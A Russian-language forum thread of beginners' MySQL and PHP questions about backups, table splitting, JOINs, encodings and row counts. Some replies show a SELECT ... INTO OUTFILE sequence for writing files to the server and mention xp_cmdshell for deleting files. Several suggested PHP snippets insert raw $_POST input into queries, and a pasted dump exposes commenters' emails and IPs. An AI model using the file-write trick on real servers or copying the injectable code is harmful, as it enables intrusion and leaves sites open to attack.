Если можно, поподробнее. Видете ли, я- новичёк и не много знаю по теме.
Вы говорите о префиксе по бэкапу?
Zyklonss
20.11.2008, 01:29
2.2. конкретнее, че за ошибка?
по базе: в бекапе возьми команды с инсертами, замени значения INSERT INTO ws_ на '... ss_' , и выполни в SQL
Поменял в бэкапе значения INSERT INTO wp_ на '... ss_' и выполнил SQL- ошибка:
"Ошибка
SQL-запрос:
--
-- База данных: `ourwater151`
--
CREATE DATABASE `ourwater151` DEFAULT CHARACTER SET cp1251 COLLATE cp1251_general_ci;
Ответ MySQL:
#1007 - Can't create database 'ourwater151'; database exists"
При бэкапе без изменения префикса:
"Ошибка
SQL-запрос:
--
-- Дамп данных таблицы `ss_comments`
--
INSERT INTO `ss_comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
VALUES ( 2, 3, 'Egorich', 'edruzhini@yandex.ru', 'http://lexicka.ru', '98.223.159.17', '2008-10-02 09:15:52', '2008-10-02 05:15:52', 'Вот это да... По моему мнению, минусы намного превосходят плюсы. Думаю, не стоит заморачиваться.', 0, '1', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Netscape/8.0.4', '', 0, 0 ) , ( 3, 3, 'Феликс', 'aviacya6889@yandex.ru', 'http://aviacya.ru', '212.241.70.70', '2008-10-04 02:50:24', '2008-10-03 22:50:24', 'Если это не тайна, автор откуда родом?', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060206 Songbird/0.1', '', 0, 0 ) , ( 4, 3, 'Бизнесмен', 'arer23@mail.ru', 'http://www.wwnews.info/', '89.190.225.140', '2008-10-06 23:43:41', '2008-10-06 19:43:41', 'Почти так. Но если мне не изменяет память в каком то блоге писали иначе', 0, '1', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0 ) , ( 5, 3, 'kabardinka', 'kabardinkaname@rambler.ru', 'http://kabardinka.name', '91.76.219.87', '2008-10-17 12:58:30', '2008-10-17 08:58:30', 'здравствуйте!\r\nнадеюсь что у вас сайт будет пополнять и будет интересным! всего доброго!\r\nА дизайн хороший, располагает пользователя!', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 WebMoney Advisor', '', 0, 0 ) , ( 6, 3, 'admin', '1111titan@tut.by', 'http://', '93.84.17.51', '2008-10-19 13:48:01', '2008-10-19 09:48:01', 'Спасибо за проявленный интерес к сайту и блогу. Принимаются любые предложения и пожелания. Я благодарен за позитивный отзыв kabardinka и очень рад ругательным сообщениям, так как это стимулирует и заставляет задуматься о том, что же не так. Автор из Беларуси, г.Пинск. Всем успеха и отличного здоровья!', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3', '', 0, 1 ) , ( 23, 3, 'Цунарэф', 't_t_t@bk.ru', '', '93.84.240.206', '2008-11-01 04:10:51', '2008-11-01 00:10:51', 'Здравствуйте!\r\nНадеюсь, что сайт будет и дальше интересным,но займитесь делом и поработайте над сайтом в стиле хорошей музыки, а этот можно держать параллельно. Народ требует Вашего возвращения на своё место.\r\nС уважением Ю.Шатунов.', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3', '', 0, 0 ) , ( 24, 3, 'admin', '1111titan@tut.by', 'http://', '93.84.18.239', '2008-11-01 20:39:51', '2008-11-01 16:39:51', 'Спасибо, Цунареф, за комментарий и проявленный интерес к сайту и блогу. Я знаю, кто пишет под ником\r\nЦунарефы и знаю, что речь идёт по поводу сайта http://zyklonss.pochta.ru/Zyklonss/index.html.\r\nДа, сайт посвящённый тяжёлой музыке я временно забросил, так как все силы на данный момент отдаю этому сайту. Да и поддержки со стороны некоторых участников того проекта я не наблюдаю. В частности это касается музыкантов группы Ultrakain из Дзержинска в Беларуси.\r\nА Вам, Цунареф(Ю.Шатунов), предлагаю вопросы, связанные с тем сайтом, задавать в ICQ(423902398), а здесь общаться по вопросам этого сайта и блога. Не забывайте отписаться. Успеха Вам!\r\nС уважением, Сергей.', 0, '1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3', '', 0, 1 ) ;
Ответ MySQL:
#1062 - Duplicate entry '2' for key 1"
Pashkela
20.11.2008, 02:26
при восстановлении из backup иногда не сохраняется атрибут auto_increment у полей и нужно вручную через phpmyadmin его восстановить.
.:EnoT:.
20.11.2008, 04:07
ппц, при чём тут префиксы таблиц??
Ответ MySQL:
#1007 - Can't create database 'ourwater151'; database exists"
Таблица уже существует. Если ыт поверх ставишь то это зря, полностью очисти базу от всех таблиц а уж потом ставь бекап)
#1062 - Duplicate entry '2' for key 1"
ну это какбэ из-за авто_инкремента. Нужно снимать галочку Авто_инкремента при дампе, чтобы не гемороиться....а вносить comment_ID лучше NULL, хотя не принципиально. По идее в твоём случае нужно дописать в конец запроса (создания таблицы) AUTO_INCREMENT=2.
Может я уже чё-то не то говорю, 3 часа ночи)) Поправьте если чё)
при восстановлении из backup иногда не сохраняется атрибут auto_increment у полей и нужно вручную через phpmyadmin его восстановить.
Никогда такого не замечал честно говоря)
Zyklonss
20.11.2008, 13:32
Таблица уже существует. Если ыт поверх ставишь то это зря, полностью очисти базу от всех таблиц а уж потом ставь бекап)
Жаль, что не имею возможности прикрепить картинку базы. Сейчас у меня общий вид старой и новой базы имеют вид:
ourwater151 (18)
ss_comments
ss_links
ss_options
ss_postmeta
ss_posts
ss_terms
ss_term_relationships
ss_term_taxonomy
ss_usermeta
ss_users
wp_links
wp_options
wp_postmeta
wp_terms
wp_term_relationships
wp_term_taxonomy
wp_usermeta
wp_users
Старая база- wp_
Новая- ss_
Я уже каким то чудесным образом перенёс данные старой базы wp_comments в ss_comments и wp_posts в ss_posts. Данные в новую базу перенеслись успешно. Делалось это не с помощью бэкапа, а при помощи колдовства с вкладкой "Операции". Подсказал один человек: сразу перенёс эти данные, а остальные решил перенести попожжа и после, как не пытался сделать то же самое, так и не получилось. Видно что-то подзабыл, хотя вроде многие варианты проверил на свой страх и риск.
Сейчас я на блоге имею все свои посты и комменты. Их пока не много, но всё же.
Вы советуете удалить нафиг эту старую базу wp_ и уже работать с новой ss_?
Или Вы советуете оставить только базу ss_, очистить её и уже после делать бэкап? А сохраняться ли посты и комменты? Естесственно буду экспериментировать, так что советуйте.
Но как же я перенёс данные без бэкапа?
ну это какбэ из-за авто_инкремента. Нужно снимать галочку Авто_инкремента при дампе, чтобы не гемороиться....а вносить comment_ID лучше NULL, хотя не принципиально. По идее в твоём случае нужно дописать в конец запроса (создания таблицы) AUTO_INCREMENT=2.
Может я уже чё-то не то говорю, 3 часа ночи)) Поправьте если чё)
Если останется только одна база- то необходимо сразу же сделать бэкап:
1. Снять галочку "Добавить AUTO_INCREMENT"
2. Вы имеете ввиду строчку в дампе :
"`comment_ID` bigint(20) unsigned NOT NULL auto_increment,"? Что в ней изменить?
3. Во всех строках типа: ") ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=38 "- изменять значения на 2? Это обязательно для создания файла бэкапа?
4. По совету, я при создании файла бэкапа ставил галочку в :"Добавить CREATE PROCEDURE / FUNCTION" и не ставил галку в :"Сохранить как файл". С
Сохранять обязательно в UTF8?
Очень много написал, может что не в тему, но так хочется разобраться, что бы в будущем не делать ошибок и не тормозить неделю- две с одним вопросом.
Спасибо Всем помогающим!
N19hTW0lF
20.11.2008, 22:24
как сделать поиск по бд не как where.../
я хочу чтобы проверялось если такое слово или нет.если есть то показать
по бд а не таблица
procedure
21.11.2008, 02:43
Подскажите где можно выполнить данный запрос:
SET TERM ^;
CREATE PROCEDURE DeleteEmp (pEmpID INTEGER)
AS BEGIN
DELETE FROM STAFF
WHERE ID = :pEmpID;
END^
Если InterBase тупит, просит лицензию. (Синтаксис InterBase).
Что в MS Office Access что в Database Tour пишет:
Invalid SQL statement; expected 'DELETE', 'INSERT', 'PROCEDURE', 'SELECT', or 'UPDATE'.
Хотя в Database Tour выставляю синтаксис InterBase 6.
spamoney
22.11.2008, 08:01
Добрый День! Помогите пожалуйста с таким вопросом:
Можно ли как нибудь оптимизировать/упростить этот запрос (возможно его стоит разбить на несколько запросов?), что бы увеличить скорость выполнения:
SELECT sid, s.catid, s.aid, s.title, s.time, s.hometext, s.bodytext, s.comments, s.counter, s.topic, s.acomm, s.score, s.ratings, c.title, t.topicid, t.topicname, t.topicimage, t.topictext, z.id, z.kwords, z.sslka, z.mname FROM prefix_table1 AS s LEFT JOIN prefix_table2 AS c on (s.catid=c.catid) LEFT JOIN prefix_table3 AS z on (sid=z.nid) LEFT JOIN prefix_table4 AS t on (s.topic=t.topicid) WHERE ihome='0' AND s.time <= NOW() AND status='1' AND (alanguage='russian' OR alanguage='') ORDER BY s.time DESC LIMIT 0, 10
Помогите правильно сформулировать запрос с двумя условиями where
select list from base_user WHERE LENGTH(`list`) = 20
это работает, если ввожу дополнительное условие, для значения строки с именем id1 с типом tinyint(4) и с возможными значениями 0/1, чтобы выводились только строки где id1=0
select list from base_user WHERE LENGTH(`list`) = 20 WHERE (id1)=0
, то в ответ не получаю ничего. Как правильно?
spamoney
22.11.2008, 15:38
Может так:
SELECT list FROM base_user WHERE LENGTH(`list`) = 20 AND (id1)=0
точно :) спс большое :)))
truelamer
22.11.2008, 19:03
Реконструирую БД. Необходимо найти решение следующей проблемы. БД полна информации, мне необходимо разбить одну таблицу на две, чтоб некоторые столбцы остались в одной другие в другой. Дело в том что таблица которую я хочу упростить содержит 70000 записей. как это можно сделать
Pashkela
22.11.2008, 19:22
Сделать дамп таблицы через phpmyadmin, создать новую таблицу с нужными условиями на основе дампа, сделать процедуру вставки в новую таблицу старых данных на основании новых условий, вставить данные, удалить старую таблицу, переименовать новую таблицу как старую, изменить те участки кода в двиге, где происходит обращение к полям из этой таблицы. Всё
truelamer
22.11.2008, 19:41
ясен красен что так можно. Дампить не вариант, надо прям на сервере что-то сделать. А как? Писать скрипт которыйе будет селектить из старой и инсертить в новыю таблицу, но тогда сервак умерет от 70000 инсертов
Pashkela
22.11.2008, 19:45
А по другому никак. Чтобы не умер - делай паузу в 10 секунд например перед каждым апдейтом. Через денек всё и пропишется
На самом деле никаких сложных процедур и скриптов создавать не надо, решение довольно простое, используются лишь штатные средства MySQL.
Итак, сперва получаем структуру исходной таблицы. Допустим, это таблица accounts:
mysql> SHOW CREATE TABLE accounts;
CREATE TABLE `accounts` (
`account_id` bigint(255) default '0',
`affiliate_id` bigint(255) default '0',
`site_handle` varchar(255) default NULL,
`default_address` varchar(255) default NULL,
`email` varchar(255) default NULL,
`firstname` varchar(255) default NULL,
`password` varchar(255) default NULL,
`send_announcements` int(2) default '0',
`ip_address` varchar(255) default NULL,
`is_active` int(2) default '0',
`is_affiliate` int(2) default '0',
`last_modified` varchar(255) default NULL,
`last_loggedin` varchar(255) default NULL,
`last_updated` varchar(255) default NULL,
`time_created` varchar(255) default NULL,
UNIQUE KEY `account_id` (`account_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
Теперь создаем новую таблицу с измененной структурой на основе исходной таблицы:
mysql>CREATE TABLE `accounts2` (
`account_id` bigint(255) default '0',
`is_active` int(2) default '0',
`is_affiliate` int(2) default '0',
`last_modified` varchar(255) default NULL,
`last_loggedin` varchar(255) default NULL,
`last_updated` varchar(255) default NULL,
`time_created` varchar(255) default NULL,
UNIQUE KEY `account_id` (`account_id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
Замечу, что у таблиц должен быть один общий столбец, иначе связь между ними нарушится, в данном случае это account_id.
Теперь переносим данные из первой таблицы во вторую:
mysql> INSERT INTO accounts2 (account_id,is_active,is_affiliate,last_modified,l a
st_loggedin,last_updated,time_created) SELECT account_id,is_active,is_affiliate,
last_modified,last_loggedin,last_updated,time_crea ted FROM accounts LIMIT 5000
-> ;
Query OK, 5000 rows affected (0.27 sec)
Records: 5000 Duplicates: 0 Warnings: 0
Когда будешь разбивать таблицу, LIMIT нужно, конечно, убрать.
Теперь осталось лишь удалить ненужные столбцы из первой таблицы:
ALTER TABLE `accounts` DROP COLUMN `affiliate_id`, DROP COLUMN `site_handle`, DROP COLUMN `default_address`;
...
truelamer
22.11.2008, 20:15
а сервак такими процедурами не нагружу? ведь у меня там 70000 записей.
смотря какой сервак, вообще 70к для MySQL не так уж и много
Zyklonss
23.11.2008, 02:48
Спасибо Всем, кто помогал советом в моём вопросе. С Вашей помощью и с помощью собственного мышления начал догонять по теме. Начал понимать суть базы данных, дампа данных. Уже поигрался с очисткой таблиц и вставкой данных из дампа. Всё- ок.
Спасибо Всем.
truelamer
23.11.2008, 20:54
Есть у ког-нить что-нить по mysql почитать с примерами? Пмеры выборок инсертов итп. Чтоб грамотоно бд использовать
truelamer
http://www.mysql.ru/docs/ имхо лучше не придумать
Есть у ког-нить что-нить по mysql почитать с примерами? Пмеры выборок инсертов итп. Чтоб грамотоно бд использовать
sql-ex.ru :) Не сочтите за рекламу - но действительно очень помогает :D
Buffalon
28.11.2008, 19:16
ПОчему в пхпмай админе нету INNODB как мне тогда использовать foreign key
Pashkela
28.11.2008, 20:25
http://ru.wikipedia.org/wiki/InnoDB
Buffalon
28.11.2008, 23:28
Как посмотреть какое кол-во раз в
`WHERE name=ВАСЯ` поменялось слово в ячейке place (Допустим 1 2 3 = 3 раза поменялось)
Пробовал так
CREATE TABLE comments(
id INT AUTO_INCREMENT,
name VARCHAR(15),
mail VARCHAR(20),
comment VARCHAR(1000),
PRIMARY KEY(id)
);
и так
CREATE TABLE comments(
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(15),
mail VARCHAR(20),
comment VARCHAR(1000)
);
Выдаёт:
Error Code : 1050
Table 'comments' already exists
Execution Time : 00:00:00:000
Transfer Time : 00:00:00:000
Total Time : 00:00:00:000
Что я не так делаю?
Buffalon
29.11.2008, 00:14
Пробовал так
CREATE TABLE comments(
id INT AUTO_INCREMENT,
name VARCHAR(15),
mail VARCHAR(20),
comment VARCHAR(1000),
PRIMARY KEY(id)
);
и так
CREATE TABLE comments(
id INT AUTO_INCREMENT PRIMARY KEY,
name VARCHAR(15),
mail VARCHAR(20),
comment VARCHAR(1000)
);
Выдаёт:
Error Code : 1050
Table 'comments' already exists
Execution Time : 00:00:00:000
Transfer Time : 00:00:00:000
Total Time : 00:00:00:000
Что я не так делаю?
:D :D :D :D :D :D Table 'comments' already exists
ТАблица 'comments' уже существует
Как посмотреть какое кол-во раз в
`WHERE name=ВАСЯ` поменялось слово в ячейке place (Допустим 1 2 3 = 3 раза поменялось)
о.О никак
Как посмотреть какое кол-во раз в
`WHERE name=ВАСЯ` поменялось слово в ячейке place (Допустим 1 2 3 = 3 раза поменялось) посмотреть никак.
но можно создать в этой таблице дополнительное поле , например edit типа int, в которое записывать кол-во изменений. Это будет работать только если твой скрипт будет добавлять запись в БД тогда можно будет посмотреть.
Buffalon
29.11.2008, 15:01
посмотреть никак.
но можно создать в этой таблице дополнительное поле , например edit типа int, в которое записывать кол-во изменений. Это будет работать только если твой скрипт будет добавлять запись в БД тогда можно будет посмотреть.
cпс , думал аналогично , для этого просто нужен while и массив (в MySQL while как вроде бы есть а вот с массивами проблема).ОК
каким запросом можно узнать в какой дирректории находится сайт? и каким запросом можно удалять файлы?
каким запросом можно узнать в какой дирректории находится сайт? и каким запросом можно удалять файлы?
Не, я таких не знаю. Я знаю только что бы поработить мир и з0хавать соседей =)
Не, я таких не знаю. Я знаю только что бы поработить мир и з0хавать соседей =)
ну создавать файлы можно вот так вот :
CREATE TABLE `t` (`shl` TEXT NOT NULL) TYPE = MYISAM; INSERT INTO `t` ( `shl` ) VALUES ('тело файла'); SELECT `shl` FROM `t` INTO OUTFILE 'директория\файл'; DROP TABLE `t`
значи и удалять.... а про директорию....возможно и можно )
ну создавать файлы можно
значи и удалять.... а про директорию....возможно и можно )
Во первых - создавать можно и намного короче :)
А во вторых - удалять можно, но при ряде специфических условий, например таких как:
1) СУБД - SqlServer
2) Права на хп xp_cmdshell
Возмжно есть аналоги в других СУБД, в чем я сильно сомневаюсь.
а на счет директории есть что-то интересное?)
Помогите разобраться с кодировкой !
Двиг phpbb2 ! Кодировка в бд utf8 !
Отображается вот так :
http://picthost.ru/images/v51c8ngp60sgpu4fu4gv_thumb.png (http://picthost.ru/viewer.php?file=v51c8ngp60sgpu4fu4gv.png)
Какую кодировку ставить ? Проблема ведь в кодировке бд, или нет ?
//UPD: Проблема решена :)
Buffalon
04.12.2008, 11:04
Помогите разобраться с кодировкой !
Двиг phpbb2 ! Кодировка в бд utf8 !
Отображается вот так :
http://picthost.ru/images/v51c8ngp60sgpu4fu4gv_thumb.png (http://picthost.ru/viewer.php?file=v51c8ngp60sgpu4fu4gv.png)
Какую кодировку ставить ? Проблема ведь в кодировке бд, или нет ?
//UPD: Проблема решена :)
Да , попробуй windows - 1251 либо на выходи кодировку посмотри либо сервер , и вообще у тебя на картинке ничего не видно
optimazer
05.12.2008, 17:53
выполняй запрос
SET NAMES cp1251
при каждом соединении с БД
и следи за тем, чтобы данные в БД писались в кодировке cp1251
++Norton++
10.12.2008, 14:58
Есть в MS Access БД Борей (находится где-то в помощи по-моему). Нужно выполнить 2 запроса, которые бы показали:
1. Какие 3 клиента сделали наибольшее число заказов.
2. Какие клиенты не делали заказа в 1996 году.
Заранее огромное спасибо! С меня +'ы.
++Norton++
Насколько я помню акцес жутко кастррованный в плане sql. Но все же попробуй нечто вродь такого (если и держится - то синтаксис сродни скуль серва)
1) SELECT TOP 3 FROM заказы GROUP BY номер_клиента ORDER BY count(номер_заказа)
2) SELECT * FROM клиенты WHERE номер_клиента NOT IN (SELECT DISTINCT номер_клиента FROM заказы WHERE date LIKE '1996%')
М... структуры таблиц не знаю, так что была представленкак будто в 3 нф :) Думаю разберешся.
Если не проконает- то в акцессе есть какая то мелкомягкая приблудеь а-ля конструктор запросов. Поклацаешь мышкой и бут те счастье.
Pashkela
10.12.2008, 20:02
1. SELECT TOP 3 [Заказы].[КодКлиента]
FROM Заказы INNER JOIN Заказано ON [Заказы].[КодЗаказа]=[Заказано].[КодЗаказа]
GROUP BY [Заказы].[КодКлиента]
ORDER BY count([Заказы].[КодЗаказа]);
2. SELECT [заказы].[КодКлиента] FROM заказы WHERE ((( [заказы].[КодКлиента]) Not In (SELECT [заказы].[КодКлиента] FROM заказы WHERE [заказы].[ДатаРазмещения] Like "*1996*"))) GROUP BY [заказы].[КодКлиента];
Nightmarе
13.12.2008, 04:35
У меня на хосте версия мускула 5, и соответственно при создании новой БД с пользователем там появляется эта "information_schema" мне её надо как то отключить или убрать, подскажите как это сделать, чтобы конкретный MySQL пользователь не имел к ней доступа
Вообще забираются права командой REVOKE
Пример:
REVOKE ALL PRIVILEGES ON DB_NAME.* FROM q
где DB_NAME - имя базы, q - имя пользователя. Забрали все привелегии.
Здесь поподробнее http://dev.mysql.com/doc/refman/5.0/en/revoke.html
Вот только что бы забирать \ выставлять права, юзер который это делает - должен быть владельцем бд (ну или с grant privileges... но это ты сам разберешся если захочешь)
Nightmarе
18.12.2008, 06:25
Вообще забираются права командой REVOKE
Пример:
REVOKE ALL PRIVILEGES ON DB_NAME.* FROM q
где DB_NAME - имя базы, q - имя пользователя. Забрали все привелегии.
Здесь поподробнее http://dev.mysql.com/doc/refman/5.0/en/revoke.html
Вот только что бы забирать \ выставлять права, юзер который это делает - должен быть владельцем бд (ну или с grant privileges... но это ты сам разберешся если захочешь)
Сёдня пробовал - не получилось.
Я так понимаю нужны привилегии ROOT ?
У меня обычный хост, по умолчанию ни пользователей ни БД там нету, я создаю и юзверя и БД, должен по моему способ отключить информейшен схему...
Ещё есть способы?
Никак нельзя запретить доступ к этой бд..
К ней имеют доступ все у кого есть права SHOW.
Хотя можешь отключить путем запуска демона с ключем --skip-show-databases
Подскажите как мне выбрать не NULL значения при Join, например, делаю так
SELECT *
FROM onlineuser
LEFT JOIN seoinfo ON seoinfo.id = onlineuser.refererid
WHERE seoinfo.know_referer IS NOT NULL
LIMIT 0 , 30
и все вроде ок, но там много колонок и все их перечеслять накладно,такой финт не проходит
SELECT *
FROM onlineuser
LEFT JOIN seoinfo ON seoinfo.id = onlineuser.refererid
WHERE seoinfo.* IS NOT NULL
LIMIT 0 , 30
как можно выбрать не NULL значения?
Pashkela
22.12.2008, 01:31
Ну и вопрос, если бы ты понял, что хочешь выбрать (конкретно), сам бы и ответил:
Наверное таки не
seoinfo.know_referer (как я понимаю имя таблицы)
а имя колонки, значения в которой IS NOT NULL
(т.е. просто название колонки, принадлежность которой не надо по 200 раз указывать, это сделано раньше)
Ну и вопрос, если бы ты понял, что хочешь выбрать (конкретно), сам бы и ответил:
Наверное таки не
seoinfo.know_referer (как я понимаю имя таблицы)
а имя колонки, значения в которой IS NOT NULL
ММ, вроде по SQL видно - не NULL значения из seoinfo.
Pashkela
22.12.2008, 01:37
ыыыы, seoinfo - это что? Таблица, или имя колонки? Т.е. ты LEFT JOIN seoinfo (таблицу) и потом ты меня лечишь, что seoinfo - это такая колонка одновременно же?:))
Значения хранятся в колонках, колонки - в таблицах, таблицы - в БД
А у тебя получается попытка присоединить таблицу seoinfo, где таблица seoinfo не Null ))))
А если ты думаешь, что так можно заочно по всем колонкам таблицы seoinfo пробежаться, то это глубокое заблуждение, надо указывать имя КОЛОНКИ в условии WHERE, ну уж никак не имя ТАБЛИЦЫ, в твоём случае
ыыыы, seoinfo - это что? Таблица, или имя колонки? Т.е. ты LEFT JOIN seoinfo (таблицу) и потом ты меня лечишь, что seoinfo - это такая колонка одновременно же?:))
Значения хранятся в колонках, колонки - в таблицах, таблицы - в БД
А у тебя получается попытка присоединить таблицу seoinfo, где таблица seoinfo не Null ))))
А если ты думаешь, что так можно заочно по всем колонкам таблицы seoinfo пробежаться, то это глубокое заблуждение, надо указывать имя КОЛОНКИ в условии WHERE, ну уж никак не имя ТАБЛИЦЫ, в твоём случае
Мдя, вы явно не подскажите, сразу видно спец по sql, даже я далеко не с самыми лутчшими знаниями по sql спокойно разберусь где колонка, где бд а где row, если бы мой пример( 2 ) работал я бы не спрашивал.
Pashkela
22.12.2008, 01:52
seoinfo.know_referer
ну если вы думаете, что понимаете, что пишите, то что у вас конкретно в этом seoinfo и что такое know_referer и даже если последнее, это имя колонки, то вы что, правда думаете, что так можно писать?:))
seoinfo.know_referer
ну если вы думаете, что понимаете, что пишите, то что у вас конкретно в этом seoinfo и что такое know_referer и даже если последнее, это имя колонки, то вы что, правда думаете, что так можно писать?:))
seoinfo - таблица, перечеслять ее столбцы не буду
know_referer - row(колонка) в таблице seoinfo.
да именно так можно писать, а вот пример маску доступа * в where нельзя.
Вот именно из за таких, извиняюсь за выражения флудеров, которые только и надеються как бы на своем флуде себе репу набить не охота задовать лишний раз вопрос, и тратить время не на поиск решения а на бесмыленное перебранку с человеком который хочет утвердить что у него не просто так репа такая. Если не знаете ответа лутчши лишний раз промолчать.
-1
Pashkela
22.12.2008, 02:21
2 PaCo:
Нахрен пошел, тупой ты щегол. Флудеров и гонщиков за репой в зеркале ищи, ущербный ты наш
Если в таблице seoinfo колонка know_referer NOT NULL, то этого вполне достатчно для всех остальных данных в этой таблице для условия отбора
Если в таблице seoinfo колонка know_referer NOT NULL, то этого вполне достатчно для всех остальных данных в этой таблице для условия отбора
ХМ, теперь понятно кто из нас "тупой ты щегол",
Пишу открытым текстом - я ламо.
100% согласен
Нахрен пошел, тупой ты щегол. Флудеров и гонщиков за репой в зеркале ищи, ущербный ты наш
но на этом сайте атмосфера дружелюбности и чю оставляет желать лучшего, сугубо на мой взгляд
Ну если вы будете так обрашаться к людям то естествено "атмосфера дружелюбности" к вам будет не очень.
Дальнейший спор безсмысленен, я его продолжать не буду. PEACE.
Pashkela
22.12.2008, 03:03
Ага, наверное я первый начал - флудер там, гонка за репой и всё такое - еще раз - ты обезьянко тупорылая:) Убейся
ЗЫЖ Peace конечно:))))))))))
mysql_query("INSERT INTO news(name,body,date) VALUES({$_POST['newName']},{$_POST['newBody']},date(d.m.y))");
кавычки?ммм
Ru}{eeZ заковыч данные в VALUES
т.е.
VALUES('{$_POST['newName']}',...
mysql_query("INSERT INTO news(name,body,date) VALUES('".$_POST['newName']."','".$_POST['newBody']."',date(d.m.y))");
чё-то ничё не прёт... а можете разъяснить?)
Стоп, тебе надо выполнить запрос в бд или через php?
Покажи код тогда php
Pashkela
22.12.2008, 23:29
А попробуй так:
$newname = $_POST['newName'];
$newBody = $_POST['newBody'];
$date = date("d.m.Y");
$query = "INSERT INTO news(`name`,`body`,`date`) VALUES ('$newname','$newBody','$date')";
mysql_query($query) or die('Произошла ошибка, обратитесь к администрации'. mysql_error());
эм, ну mysql_query()
ну если этот кусок поможет:
if(isset($_POST['newName']) && isset($_POST['newBody'])) {
$content = 'Новость добавлена';
//Записать новость в базу
mysql_query("INSERT INTO news(name,body,date) VALUES('".$_POST['newName']."','".$_POST['newBody']."',date(d.m.y))");
//mysql_query("INSERT INTO news(name,body,date) VALUES("'.$_POST['newName'].'","'.$_POST['newBody'].'",date(d.m.y))");
//mysql_query("INSERT INTO news(name,body,date) VALUES('Название новости','Текст новости','21.12.2008')");
//Если новость не передана - вывести форму для подачи
} else
п.с. обычно я комментарии для себя оставляю)
mysql_query("INSERT INTO news(name,body,date) VALUES('".$_POST['newName']."','".$_POST['newBody']."', ".date(d.m.y).")");
Должно
Вот теперь работает, спасибо!
только вот ещё нотисы непонятные к дате выдаёт:
Notice: Use of undefined constant d - assumed 'd' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\php\xdf\rab\index.php on line 40
Notice: Use of undefined constant m - assumed 'm' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\php\xdf\rab\index.php on line 40
Notice: Use of undefined constant y - assumed 'y' in C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\php\xdf\rab\index.php on line 40
а можно ещё разъяснение куда там какие кавычки и т.д.? :rolleyes:
внутри date кавычки одинарные, это же аргумент функции.
date('d.m.y')
потскажите новичку редактор mySQLite
У меня структура таблицы такая:
CREATE TABLE IF NOT EXISTS `table5` (
`id` int(11) NOT NULL auto_increment,
`date` timestamp NOT NULL default CURRENT_TIMESTAMP,
`opis` text NOT NULL,
`image` text NOT NULL,
`price` text NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `id_2` (`id`),
KEY `id` (`id`),
FULLTEXT KEY `news` (`opis`)
) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=184 ;
И новая запись добавляется в конец.
Как сделать чтоб новая запись добавлялась вниз.
Пример:
1)у меня
--новая запись
--3
--2
--1
--0
2)нужно
--0
--1
--2
--3
--Новая запись
Red_Red1
25.12.2008, 15:48
Не нужно этого делать! На самом деле считается (да так и есть) что в базе записи хранятся НЕупорядочеными. Ты когда делаешь выборку сортируй результат, по дате например и получишь то что тебе надо.
Ребят выручайте, горю!!!!
Нужно сделать выборку из базы только тех товаров, которые нужны, то есть есть 12 артикулов, нужно выбрать из базы только товары с этими артикулами.
Помогите составить запрос, я что то туплю
...("SELECT * FROM `products` WHERE `art`='MX008' ...."); как сказать выбрать всё, если арт равен этом значению или этому или этому и т.д. ???
Спасибо!
groundhog
26.12.2008, 13:53
SELECT * FROM `products` WHERE `art`IN ('dsasdf', ..., 'asfgvsf', ..., 'asdasd')
В общем в скобках артикулы перечисляй.
groundhog, спасибо тебе огромное!!! Ты не представляешь как ты выручил.
тупой вопрос: как задать таймаут для mysql_connect() ,???
ini_set('mysql.connect_timeout', 1);
Как посчитать сколько полей содержит таблица с ячейкой key=1 ?
У меня есть запрос но он считает сколько полей ID всего.
SELECT COUNT( * ) AS `baza`
FROM `table`
ORDER BY id ASC
optimazer
03.01.2009, 19:58
SELECT COUNT( * ) FROM `table` WHERE key = 1
ТАК
Здравствуйте, вопрос по MySQL:
Как получить кол-во строк в таблице [x]?
Заранее Благодарен!
Pashkela
16.01.2009, 05:30
ыыы, на пост выше
ыыы, на пост выше
Я видел :) Но у него там запрос с кеем каким то, а мне это не нужно :)
P.s. Вопрос в силе, я в мускуле вообще 0
И кстати, как вывести полученное в результате запроса число в переменную.
Решил проблему вот так:
$query = mysql_query("SELECT * FROM objects"); // Запрос в таблицу
$all = mysql_num_rows($query);
Но не думаю, что это наилучший способ, есть другие варианты?
// если нужен просто вывод
echo mysql_result(mysql_query('SELECT COUNT(*) FROM `objects` WHERE 1'), 0);
// если нужно работать с запросом
$query = mysql_query('SELECT COUNT(*) FROM `objects` WHERE 1');
$query_count = mysql_result($query, 0);
// ... выводим или работаем дальше
Просто смотрите конструкцию функции mysql_result (http://php.ru/mysql_result)
$sql = "SELECT COUNT(*) as `count` FROM objects"
$rs = mysql_query($sql);
$row = mysql_fetch_assoc($rs);
mysql_free_result($rs);
// $row["count"] будет содержать число записей в таблице
SMiX, ошибочка небольшая
$row = mysql_fetch_assoc($rs);
можно втаблице создать такое поле которое допустим будет удалять запись через 24 часа?
OnArs
SELECT COUNT(*) FROM `x`
m0nsieur
16.01.2009, 12:07
можно втаблице создать такое поле которое допустим будет удалять запись через 24 часа?
нет, ты можешь создать скрипт (хоть на php), который будет вызываться по cron'у в определенное время и удалять записи по определенным критерям нужным тебе.
groundhog
16.01.2009, 13:13
можно втаблице создать такое поле которое допустим будет удалять запись через 24 часа?
